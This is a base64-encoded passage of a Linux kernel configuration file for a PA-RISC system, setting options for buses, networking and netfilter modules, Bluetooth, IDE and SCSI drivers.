MD15CiMgQ09ORklHX0haXzMwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0haXzEwMDAgaXMgbm90IHNl
dApDT05GSUdfSFo9MjUwCiMgQ09ORklHX1NDSEVEX0hSVElDSyBpcyBub3Qgc2V0CkNPTkZJR19T
RUxFQ1RfTUVNT1JZX01PREVMPXkKQ09ORklHX0ZMQVRNRU1fTUFOVUFMPXkKIyBDT05GSUdfRElT
Q09OVElHTUVNX01BTlVBTCBpcyBub3Qgc2V0CiMgQ09ORklHX1NQQVJTRU1FTV9NQU5VQUwgaXMg
bm90IHNldApDT05GSUdfRkxBVE1FTT15CkNPTkZJR19GTEFUX05PREVfTUVNX01BUD15CkNPTkZJ
R19QQUdFRkxBR1NfRVhURU5ERUQ9eQpDT05GSUdfU1BMSVRfUFRMT0NLX0NQVVM9NAojIENPTkZJ
R19SRVNPVVJDRVNfNjRCSVQgaXMgbm90IHNldAojIENPTkZJR19QSFlTX0FERFJfVF82NEJJVCBp
cyBub3Qgc2V0CkNPTkZJR19aT05FX0RNQV9GTEFHPTAKQ09ORklHX1ZJUlRfVE9fQlVTPXkKQ09O
RklHX1VORVZJQ1RBQkxFX0xSVT15CiMgQ09ORklHX0hQVVggaXMgbm90IHNldAoKIwojIEJ1cyBv
cHRpb25zIChQQ0ksIFBDTUNJQSwgRUlTQSwgR1NDLCBJU0EpCiMKQ09ORklHX0dTQz15CkNPTkZJ
R19IUFBCPXkKQ09ORklHX0lPTU1VX0NDSU89eQpDT05GSUdfR1NDX0xBU0k9eQpDT05GSUdfR1ND
X1dBWD15CkNPTkZJR19FSVNBPXkKQ09ORklHX0VJU0FfTkFNRVM9eQojIENPTkZJR19JU0EgaXMg
bm90IHNldApDT05GSUdfUENJPXkKIyBDT05GSUdfQVJDSF9TVVBQT1JUU19NU0kgaXMgbm90IHNl
dApDT05GSUdfUENJX0xFR0FDWT15CiMgQ09ORklHX1BDSV9ERUJVRyBpcyBub3Qgc2V0CkNPTkZJ
R19HU0NfRElOTz15CkNPTkZJR19QQ0lfTEJBPXkKQ09ORklHX0lPU0FQSUM9eQpDT05GSUdfSU9N
TVVfU0JBPXkKQ09ORklHX0lPTU1VX0hFTFBFUj15CiMgQ09ORklHX1BDQ0FSRCBpcyBub3Qgc2V0
CiMgQ09ORklHX0hPVFBMVUdfUENJIGlzIG5vdCBzZXQKCiMKIyBQQS1SSVNDIHNwZWNpZmljIGRy
aXZlcnMKIwpDT05GSUdfU1VQRVJJTz15CkNPTkZJR19DSEFTU0lTX0xDRF9MRUQ9eQpDT05GSUdf
UERDX0NIQVNTSVM9eQpDT05GSUdfUERDX0NIQVNTSVNfV0FSTj15CkNPTkZJR19QRENfU1RBQkxF
PXkKCiMKIyBFeGVjdXRhYmxlIGZpbGUgZm9ybWF0cwojCkNPTkZJR19CSU5GTVRfRUxGPXkKIyBD
T05GSUdfQ09SRV9EVU1QX0RFRkFVTFRfRUxGX0hFQURFUlMgaXMgbm90IHNldAojIENPTkZJR19I
QVZFX0FPVVQgaXMgbm90IHNldApDT05GSUdfQklORk1UX01JU0M9eQpDT05GSUdfTkVUPXkKCiMK
IyBOZXR3b3JraW5nIG9wdGlvbnMKIwpDT05GSUdfUEFDS0VUPXkKQ09ORklHX1BBQ0tFVF9NTUFQ
PXkKQ09ORklHX1VOSVg9eQpDT05GSUdfWEZSTT15CkNPTkZJR19YRlJNX1VTRVI9bQojIENPTkZJ
R19YRlJNX1NVQl9QT0xJQ1kgaXMgbm90IHNldAojIENPTkZJR19YRlJNX01JR1JBVEUgaXMgbm90
IHNldAojIENPTkZJR19YRlJNX1NUQVRJU1RJQ1MgaXMgbm90IHNldApDT05GSUdfTkVUX0tFWT1t
CiMgQ09ORklHX05FVF9LRVlfTUlHUkFURSBpcyBub3Qgc2V0CkNPTkZJR19JTkVUPXkKQ09ORklH
X0lQX01VTFRJQ0FTVD15CiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qgc2V0CkNP
TkZJR19JUF9GSUJfSEFTSD15CkNPTkZJR19JUF9QTlA9eQpDT05GSUdfSVBfUE5QX0RIQ1A9eQoj
IENPTkZJR19JUF9QTlBfQk9PVFAgaXMgbm90IHNldAojIENPTkZJR19JUF9QTlBfUkFSUCBpcyBu
b3Qgc2V0CiMgQ09ORklHX05FVF9JUElQIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lQR1JFIGlz
IG5vdCBzZXQKIyBDT05GSUdfSVBfTVJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVJQRCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NZTl9DT09LSUVTIGlzIG5vdCBzZXQKQ09ORklHX0lORVRfQUg9bQpD
T05GSUdfSU5FVF9FU1A9bQojIENPTkZJR19JTkVUX0lQQ09NUCBpcyBub3Qgc2V0CiMgQ09ORklH
X0lORVRfWEZSTV9UVU5ORUwgaXMgbm90IHNldApDT05GSUdfSU5FVF9UVU5ORUw9eQpDT05GSUdf
SU5FVF9YRlJNX01PREVfVFJBTlNQT1JUPXkKQ09ORklHX0lORVRfWEZSTV9NT0RFX1RVTk5FTD15
CkNPTkZJR19JTkVUX1hGUk1fTU9ERV9CRUVUPXkKIyBDT05GSUdfSU5FVF9MUk8gaXMgbm90IHNl
dApDT05GSUdfSU5FVF9ESUFHPW0KQ09ORklHX0lORVRfVENQX0RJQUc9bQojIENPTkZJR19UQ1Bf
Q09OR19BRFZBTkNFRCBpcyBub3Qgc2V0CkNPTkZJR19UQ1BfQ09OR19DVUJJQz15CkNPTkZJR19E
RUZBVUxUX1RDUF9DT05HPSJjdWJpYyIKIyBDT05GSUdfVENQX01ENVNJRyBpcyBub3Qgc2V0CkNP
TkZJR19JUFY2PXkKIyBDT05GSUdfSVBWNl9QUklWQUNZIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBW
Nl9ST1VURVJfUFJFRiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZfT1BUSU1JU1RJQ19EQUQgaXMg
bm90IHNldAojIENPTkZJR19JTkVUNl9BSCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0VTUCBp
cyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0lQQ09NUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZf
TUlQNiBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X1hGUk1fVFVOTkVMIGlzIG5vdCBzZXQKIyBD
T05GSUdfSU5FVDZfVFVOTkVMIGlzIG5vdCBzZXQKQ09ORklHX0lORVQ2X1hGUk1fTU9ERV9UUkFO
U1BPUlQ9eQpDT05GSUdfSU5FVDZfWEZSTV9NT0RFX1RVTk5FTD15CkNPTkZJR19JTkVUNl9YRlJN
X01PREVfQkVFVD15CiMgQ09ORklHX0lORVQ2X1hGUk1fTU9ERV9ST1VURU9QVElNSVpBVElPTiBp
cyBub3Qgc2V0CkNPTkZJR19JUFY2X1NJVD15CkNPTkZJR19JUFY2X05ESVNDX05PREVUWVBFPXkK
IyBDT05GSUdfSVBWNl9UVU5ORUwgaXMgbm90IHNldAojIENPTkZJR19JUFY2X01VTFRJUExFX1RB
QkxFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZfTVJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVUTEFCRUwgaXMgbm90IHNldAojIENPTkZJR19ORVRXT1JLX1NFQ01BUksgaXMgbm90IHNldApD
T05GSUdfTkVURklMVEVSPXkKIyBDT05GSUdfTkVURklMVEVSX0RFQlVHIGlzIG5vdCBzZXQKQ09O
RklHX05FVEZJTFRFUl9BRFZBTkNFRD15CkNPTkZJR19CUklER0VfTkVURklMVEVSPXkKCiMKIyBD
b3JlIE5ldGZpbHRlciBDb25maWd1cmF0aW9uCiMKQ09ORklHX05FVEZJTFRFUl9ORVRMSU5LPW0K
Q09ORklHX05FVEZJTFRFUl9ORVRMSU5LX1FVRVVFPW0KQ09ORklHX05FVEZJTFRFUl9ORVRMSU5L
X0xPRz1tCkNPTkZJR19ORl9DT05OVFJBQ0s9bQpDT05GSUdfTkZfQ1RfQUNDVD15CkNPTkZJR19O
Rl9DT05OVFJBQ0tfTUFSSz15CkNPTkZJR19ORl9DT05OVFJBQ0tfRVZFTlRTPXkKIyBDT05GSUdf
TkZfQ1RfUFJPVE9fRENDUCBpcyBub3Qgc2V0CkNPTkZJR19ORl9DVF9QUk9UT19HUkU9bQpDT05G
SUdfTkZfQ1RfUFJPVE9fU0NUUD1tCiMgQ09ORklHX05GX0NUX1BST1RPX1VEUExJVEUgaXMgbm90
IHNldApDT05GSUdfTkZfQ09OTlRSQUNLX0FNQU5EQT1tCkNPTkZJR19ORl9DT05OVFJBQ0tfRlRQ
PW0KQ09ORklHX05GX0NPTk5UUkFDS19IMzIzPW0KQ09ORklHX05GX0NPTk5UUkFDS19JUkM9bQpD
T05GSUdfTkZfQ09OTlRSQUNLX05FVEJJT1NfTlM9bQpDT05GSUdfTkZfQ09OTlRSQUNLX1BQVFA9
bQpDT05GSUdfTkZfQ09OTlRSQUNLX1NBTkU9bQpDT05GSUdfTkZfQ09OTlRSQUNLX1NJUD1tCkNP
TkZJR19ORl9DT05OVFJBQ0tfVEZUUD1tCkNPTkZJR19ORl9DVF9ORVRMSU5LPW0KIyBDT05GSUdf
TkVURklMVEVSX1RQUk9YWSBpcyBub3Qgc2V0CkNPTkZJR19ORVRGSUxURVJfWFRBQkxFUz1tCkNP
TkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX0NMQVNTSUZZPW0KQ09ORklHX05FVEZJTFRFUl9YVF9U
QVJHRVRfQ09OTk1BUks9bQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9EU0NQPW0KQ09ORklH
X05FVEZJTFRFUl9YVF9UQVJHRVRfTUFSSz1tCkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX05G
TE9HPW0KQ09ORklHX05FVEZJTFRFUl9YVF9UQVJHRVRfTkZRVUVVRT1tCkNPTkZJR19ORVRGSUxU
RVJfWFRfVEFSR0VUX05PVFJBQ0s9bQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9SQVRFRVNU
PW0KIyBDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9UUkFDRSBpcyBub3Qgc2V0CkNPTkZJR19O
RVRGSUxURVJfWFRfVEFSR0VUX1RDUE1TUz1tCkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX1RD
UE9QVFNUUklQPW0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT01NRU5UPW0KQ09ORklHX05F
VEZJTFRFUl9YVF9NQVRDSF9DT05OQllURVM9bQojIENPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hf
Q09OTkxJTUlUIGlzIG5vdCBzZXQKQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT05OTUFSSz1t
CkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfQ09OTlRSQUNLPW0KQ09ORklHX05FVEZJTFRFUl9Y
VF9NQVRDSF9EQ0NQPW0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9EU0NQPW0KQ09ORklHX05F
VEZJTFRFUl9YVF9NQVRDSF9FU1A9bQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX0hBU0hMSU1J
VD1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfSEVMUEVSPW0KQ09ORklHX05FVEZJTFRFUl9Y
VF9NQVRDSF9JUFJBTkdFPW0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9MRU5HVEg9bQpDT05G
SUdfTkVURklMVEVSX1hUX01BVENIX0xJTUlUPW0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9N
QUM9bQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX01BUks9bQpDT05GSUdfTkVURklMVEVSX1hU
X01BVENIX01VTFRJUE9SVD1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfT1dORVI9bQpDT05G
SUdfTkVURklMVEVSX1hUX01BVENIX1BPTElDWT1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hf
UEhZU0RFVj1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfUEtUVFlQRT1tCkNPTkZJR19ORVRG
SUxURVJfWFRfTUFUQ0hfUVVPVEE9bQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX1JBVEVFU1Q9
bQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX1JFQUxNPW0KIyBDT05GSUdfTkVURklMVEVSX1hU
X01BVENIX1JFQ0VOVCBpcyBub3Qgc2V0CkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfU0NUUD1t
CkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfU1RBVEU9bQpDT05GSUdfTkVURklMVEVSX1hUX01B
VENIX1NUQVRJU1RJQz1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfU1RSSU5HPW0KQ09ORklH
X05FVEZJTFRFUl9YVF9NQVRDSF9UQ1BNU1M9bQojIENPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hf
VElNRSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9VMzIgaXMgbm90IHNl
dAojIENPTkZJR19JUF9WUyBpcyBub3Qgc2V0CgojCiMgSVA6IE5ldGZpbHRlciBDb25maWd1cmF0
aW9uCiMKQ09ORklHX05GX0RFRlJBR19JUFY0PW0KQ09ORklHX05GX0NPTk5UUkFDS19JUFY0PW0K
Q09ORklHX05GX0NPTk5UUkFDS19QUk9DX0NPTVBBVD15CkNPTkZJR19JUF9ORl9RVUVVRT1tCkNP
TkZJR19JUF9ORl9JUFRBQkxFUz1tCkNPTkZJR19JUF9ORl9NQVRDSF9BRERSVFlQRT1tCkNPTkZJ
R19JUF9ORl9NQVRDSF9BSD1tCkNPTkZJR19JUF9ORl9NQVRDSF9FQ049bQpDT05GSUdfSVBfTkZf
TUFUQ0hfVFRMPW0KQ09ORklHX0lQX05GX0ZJTFRFUj1tCkNPTkZJR19JUF9ORl9UQVJHRVRfUkVK
RUNUPW0KQ09ORklHX0lQX05GX1RBUkdFVF9MT0c9bQpDT05GSUdfSVBfTkZfVEFSR0VUX1VMT0c9
bQpDT05GSUdfTkZfTkFUPW0KQ09ORklHX05GX05BVF9ORUVERUQ9eQpDT05GSUdfSVBfTkZfVEFS
R0VUX01BU1FVRVJBREU9bQpDT05GSUdfSVBfTkZfVEFSR0VUX05FVE1BUD1tCkNPTkZJR19JUF9O
Rl9UQVJHRVRfUkVESVJFQ1Q9bQpDT05GSUdfTkZfTkFUX1NOTVBfQkFTSUM9bQpDT05GSUdfTkZf
TkFUX1BST1RPX0dSRT1tCkNPTkZJR19ORl9OQVRfUFJPVE9fU0NUUD1tCkNPTkZJR19ORl9OQVRf
RlRQPW0KQ09ORklHX05GX05BVF9JUkM9bQpDT05GSUdfTkZfTkFUX1RGVFA9bQpDT05GSUdfTkZf
TkFUX0FNQU5EQT1tCkNPTkZJR19ORl9OQVRfUFBUUD1tCkNPTkZJR19ORl9OQVRfSDMyMz1tCkNP
TkZJR19ORl9OQVRfU0lQPW0KQ09ORklHX0lQX05GX01BTkdMRT1tCkNPTkZJR19JUF9ORl9UQVJH
RVRfQ0xVU1RFUklQPW0KQ09ORklHX0lQX05GX1RBUkdFVF9FQ049bQpDT05GSUdfSVBfTkZfVEFS
R0VUX1RUTD1tCkNPTkZJR19JUF9ORl9SQVc9bQojIENPTkZJR19JUF9ORl9TRUNVUklUWSBpcyBu
b3Qgc2V0CkNPTkZJR19JUF9ORl9BUlBUQUJMRVM9bQpDT05GSUdfSVBfTkZfQVJQRklMVEVSPW0K
Q09ORklHX0lQX05GX0FSUF9NQU5HTEU9bQoKIwojIElQdjY6IE5ldGZpbHRlciBDb25maWd1cmF0
aW9uCiMKQ09ORklHX05GX0NPTk5UUkFDS19JUFY2PW0KQ09ORklHX0lQNl9ORl9RVUVVRT1tCkNP
TkZJR19JUDZfTkZfSVBUQUJMRVM9bQpDT05GSUdfSVA2X05GX01BVENIX0FIPW0KQ09ORklHX0lQ
Nl9ORl9NQVRDSF9FVUk2ND1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfRlJBRz1tCkNPTkZJR19JUDZf
TkZfTUFUQ0hfT1BUUz1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfSEw9bQpDT05GSUdfSVA2X05GX01B
VENIX0lQVjZIRUFERVI9bQpDT05GSUdfSVA2X05GX01BVENIX01IPW0KQ09ORklHX0lQNl9ORl9N
QVRDSF9SVD1tCkNPTkZJR19JUDZfTkZfVEFSR0VUX0xPRz1tCkNPTkZJR19JUDZfTkZfRklMVEVS
PW0KQ09ORklHX0lQNl9ORl9UQVJHRVRfUkVKRUNUPW0KQ09ORklHX0lQNl9ORl9NQU5HTEU9bQpD
T05GSUdfSVA2X05GX1RBUkdFVF9ITD1tCkNPTkZJR19JUDZfTkZfUkFXPW0KIyBDT05GSUdfSVA2
X05GX1NFQ1VSSVRZIGlzIG5vdCBzZXQKQ09ORklHX0JSSURHRV9ORl9FQlRBQkxFUz1tCkNPTkZJ
R19CUklER0VfRUJUX0JST1VURT1tCkNPTkZJR19CUklER0VfRUJUX1RfRklMVEVSPW0KQ09ORklH
X0JSSURHRV9FQlRfVF9OQVQ9bQpDT05GSUdfQlJJREdFX0VCVF84MDJfMz1tCkNPTkZJR19CUklE
R0VfRUJUX0FNT05HPW0KQ09ORklHX0JSSURHRV9FQlRfQVJQPW0KQ09ORklHX0JSSURHRV9FQlRf
SVA9bQojIENPTkZJR19CUklER0VfRUJUX0lQNiBpcyBub3Qgc2V0CkNPTkZJR19CUklER0VfRUJU
X0xJTUlUPW0KQ09ORklHX0JSSURHRV9FQlRfTUFSSz1tCkNPTkZJR19CUklER0VfRUJUX1BLVFRZ
UEU9bQpDT05GSUdfQlJJREdFX0VCVF9TVFA9bQpDT05GSUdfQlJJREdFX0VCVF9WTEFOPW0KQ09O
RklHX0JSSURHRV9FQlRfQVJQUkVQTFk9bQpDT05GSUdfQlJJREdFX0VCVF9ETkFUPW0KQ09ORklH
X0JSSURHRV9FQlRfTUFSS19UPW0KQ09ORklHX0JSSURHRV9FQlRfUkVESVJFQ1Q9bQpDT05GSUdf
QlJJREdFX0VCVF9TTkFUPW0KQ09ORklHX0JSSURHRV9FQlRfTE9HPW0KQ09ORklHX0JSSURHRV9F
QlRfVUxPRz1tCiMgQ09ORklHX0JSSURHRV9FQlRfTkZMT0cgaXMgbm90IHNldAojIENPTkZJR19J
UF9EQ0NQIGlzIG5vdCBzZXQKQ09ORklHX0lQX1NDVFA9bQojIENPTkZJR19TQ1RQX0RCR19NU0cg
aXMgbm90IHNldAojIENPTkZJR19TQ1RQX0RCR19PQkpDTlQgaXMgbm90IHNldAojIENPTkZJR19T
Q1RQX0hNQUNfTk9ORSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDVFBfSE1BQ19TSEExIGlzIG5vdCBz
ZXQKQ09ORklHX1NDVFBfSE1BQ19NRDU9eQojIENPTkZJR19USVBDIGlzIG5vdCBzZXQKIyBDT05G
SUdfQVRNIGlzIG5vdCBzZXQKQ09ORklHX1NUUD1tCkNPTkZJR19CUklER0U9bQojIENPTkZJR19O
RVRfRFNBIGlzIG5vdCBzZXQKIyBDT05GSUdfVkxBTl84MDIxUSBpcyBub3Qgc2V0CiMgQ09ORklH
X0RFQ05FVCBpcyBub3Qgc2V0CkNPTkZJR19MTEM9bQojIENPTkZJR19MTEMyIGlzIG5vdCBzZXQK
IyBDT05GSUdfSVBYIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRBTEsgaXMgbm90IHNldAojIENPTkZJ
R19YMjUgaXMgbm90IHNldAojIENPTkZJR19MQVBCIGlzIG5vdCBzZXQKIyBDT05GSUdfRUNPTkVU
IGlzIG5vdCBzZXQKIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9T
Q0hFRCBpcyBub3Qgc2V0CkNPTkZJR19ORVRfQ0xTX1JPVVRFPXkKCiMKIyBOZXR3b3JrIHRlc3Rp
bmcKIwojIENPTkZJR19ORVRfUEtUR0VOIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFNUkFESU8gaXMg
bm90IHNldAojIENPTkZJR19DQU4gaXMgbm90IHNldAojIENPTkZJR19JUkRBIGlzIG5vdCBzZXQK
Q09ORklHX0JUPW0KQ09ORklHX0JUX0wyQ0FQPW0KQ09ORklHX0JUX1NDTz1tCkNPTkZJR19CVF9S
RkNPTU09bQpDT05GSUdfQlRfUkZDT01NX1RUWT15CkNPTkZJR19CVF9CTkVQPW0KQ09ORklHX0JU
X0JORVBfTUNfRklMVEVSPXkKQ09ORklHX0JUX0JORVBfUFJPVE9fRklMVEVSPXkKQ09ORklHX0JU
X0hJRFA9bQoKIwojIEJsdWV0b290aCBkZXZpY2UgZHJpdmVycwojCkNPTkZJR19CVF9IQ0lCVFVT
Qj1tCkNPTkZJR19CVF9IQ0lVQVJUPW0KQ09ORklHX0JUX0hDSVVBUlRfSDQ9eQpDT05GSUdfQlRf
SENJVUFSVF9CQ1NQPXkKQ09ORklHX0JUX0hDSVVBUlRfTEw9eQpDT05GSUdfQlRfSENJQkNNMjAz
WD1tCkNPTkZJR19CVF9IQ0lCUEExMFg9bQpDT05GSUdfQlRfSENJQkZVU0I9bQpDT05GSUdfQlRf
SENJVkhDST1tCiMgQ09ORklHX0FGX1JYUlBDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEhPTkVUIGlz
IG5vdCBzZXQKIyBDT05GSUdfV0lSRUxFU1MgaXMgbm90IHNldAojIENPTkZJR19SRktJTEwgaXMg
bm90IHNldAojIENPTkZJR19ORVRfOVAgaXMgbm90IHNldAoKIwojIERldmljZSBEcml2ZXJzCiMK
CiMKIyBHZW5lcmljIERyaXZlciBPcHRpb25zCiMKQ09ORklHX1VFVkVOVF9IRUxQRVJfUEFUSD0i
L3NiaW4vaG90cGx1ZyIKIyBDT05GSUdfU1RBTkRBTE9ORSBpcyBub3Qgc2V0CiMgQ09ORklHX1BS
RVZFTlRfRklSTVdBUkVfQlVJTEQgaXMgbm90IHNldApDT05GSUdfRldfTE9BREVSPXkKQ09ORklH
X0ZJUk1XQVJFX0lOX0tFUk5FTD15CkNPTkZJR19FWFRSQV9GSVJNV0FSRT0iIgojIENPTkZJR19E
RUJVR19EUklWRVIgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19ERVZSRVMgaXMgbm90IHNldAoj
IENPTkZJR19TWVNfSFlQRVJWSVNPUiBpcyBub3Qgc2V0CiMgQ09ORklHX0NPTk5FQ1RPUiBpcyBu
b3Qgc2V0CiMgQ09ORklHX01URCBpcyBub3Qgc2V0CkNPTkZJR19QQVJQT1JUPXkKQ09ORklHX1BB
UlBPUlRfUEM9bQojIENPTkZJR19QQVJQT1JUX1NFUklBTCBpcyBub3Qgc2V0CiMgQ09ORklHX1BB
UlBPUlRfUENfRklGTyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUlBPUlRfUENfU1VQRVJJTyBpcyBu
b3Qgc2V0CkNPTkZJR19QQVJQT1JUX0dTQz15CiMgQ09ORklHX1BBUlBPUlRfQVg4ODc5NiBpcyBu
b3Qgc2V0CkNPTkZJR19QQVJQT1JUXzEyODQ9eQpDT05GSUdfUEFSUE9SVF9OT1RfUEM9eQpDT05G
SUdfQkxLX0RFVj15CiMgQ09ORklHX1BBUklERSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19DUFFf
REEgaXMgbm90IHNldAojIENPTkZJR19CTEtfQ1BRX0NJU1NfREEgaXMgbm90IHNldAojIENPTkZJ
R19CTEtfREVWX0RBQzk2MCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVU1FTSBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19ERVZfQ09XX0NPTU1PTiBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVW
X0xPT1A9bQpDT05GSUdfQkxLX0RFVl9DUllQVE9MT09QPW0KIyBDT05GSUdfQkxLX0RFVl9OQkQg
aXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NYOCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19E
RVZfVUIgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1JBTSBpcyBub3Qgc2V0CiMgQ09ORklH
X0NEUk9NX1BLVENEVkQgaXMgbm90IHNldAojIENPTkZJR19BVEFfT1ZFUl9FVEggaXMgbm90IHNl
dAojIENPTkZJR19CTEtfREVWX0hEIGlzIG5vdCBzZXQKQ09ORklHX01JU0NfREVWSUNFUz15CiMg
Q09ORklHX1BIQU5UT00gaXMgbm90IHNldAojIENPTkZJR19FRVBST01fOTNDWDYgaXMgbm90IHNl
dAojIENPTkZJR19TR0lfSU9DNCBpcyBub3Qgc2V0CiMgQ09ORklHX1RJRk1fQ09SRSBpcyBub3Qg
c2V0CkNPTkZJR19FTkNMT1NVUkVfU0VSVklDRVM9bQojIENPTkZJR19IUF9JTE8gaXMgbm90IHNl
dApDT05GSUdfSEFWRV9JREU9eQpDT05GSUdfSURFPXkKCiMKIyBQbGVhc2Ugc2VlIERvY3VtZW50
YXRpb24vaWRlL2lkZS50eHQgZm9yIGhlbHAvaW5mbyBvbiBJREUgZHJpdmVzCiMKQ09ORklHX0lE
RV9BVEFQST15CiMgQ09ORklHX0JMS19ERVZfSURFX1NBVEEgaXMgbm90IHNldApDT05GSUdfSURF
X0dEPXkKQ09ORklHX0lERV9HRF9BVEE9eQojIENPTkZJR19JREVfR0RfQVRBUEkgaXMgbm90IHNl
dApDT05GSUdfQkxLX0RFVl9JREVDRD15CkNPTkZJR19CTEtfREVWX0lERUNEX1ZFUkJPU0VfRVJS
T1JTPXkKIyBDT05GSUdfQkxLX0RFVl9JREVUQVBFIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZf
SURFU0NTST15CiMgQ09ORklHX0lERV9UQVNLX0lPQ1RMIGlzIG5vdCBzZXQKQ09ORklHX0lERV9Q
Uk9DX0ZTPXkKCiMKIyBJREUgY2hpcHNldCBzdXBwb3J0L2J1Z2ZpeGVzCiMKQ09ORklHX0JMS19E
RVZfUExBVEZPUk09bQpDT05GSUdfQkxLX0RFVl9JREVETUFfU0ZGPXkKCiMKIyBQQ0kgSURFIGNo
aXBzZXRzIHN1cHBvcnQKIwpDT05GSUdfQkxLX0RFVl9JREVQQ0k9eQpDT05GSUdfSURFUENJX1BD
SUJVU19PUkRFUj15CiMgQ09ORklHX0JMS19ERVZfT0ZGQk9BUkQgaXMgbm90IHNldApDT05GSUdf
QkxLX0RFVl9HRU5FUklDPXkKIyBDT05GSUdfQkxLX0RFVl9PUFRJNjIxIGlzIG5vdCBzZXQKQ09O
RklHX0JMS19ERVZfSURFRE1BX1BDST15CiMgQ09ORklHX0JMS19ERVZfQUVDNjJYWCBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19ERVZfQUxJMTVYMyBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZf
QU1ENzRYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfQ01ENjRYIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9UUklGTEVYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9DUzU1MjAg
aXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0NTNTUzMCBpcyBub3Qgc2V0CiMgQ09ORklHX0JM
S19ERVZfSFBUMzY2IGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9KTUlDUk9OIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQkxLX0RFVl9TQzEyMDAgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1BJ
SVggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0lUODIxMyBpcyBub3Qgc2V0CiMgQ09ORklH
X0JMS19ERVZfSVQ4MjFYIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfTlM4NzQxNT15CiMgQ09O
RklHX0JMS19ERVZfUERDMjAyWFhfT0xEIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9QREMy
MDJYWF9ORVcgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NWV0tTIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9TSUlNQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9TTEM5MEU2
NiBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVFJNMjkwIGlzIG5vdCBzZXQKIyBDT05GSUdf
QkxLX0RFVl9WSUE4MkNYWFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1RDODZDMDAxIGlz
IG5vdCBzZXQKQ09ORklHX0JMS19ERVZfSURFRE1BPXkKCiMKIyBTQ1NJIGRldmljZSBzdXBwb3J0
CiMKIyBDT05GSUdfUkFJRF9BVFRSUyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJPXkKQ09ORklHX1ND
U0lfRE1BPXkKQ09ORklHX1NDU0lfVEdUPW0KIyBDT05GSUdfU0NTSV9ORVRMSU5LIGlzIG5vdCBz
ZXQKQ09ORklHX1NDU0lfUFJPQ19GUz15CgojCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRh
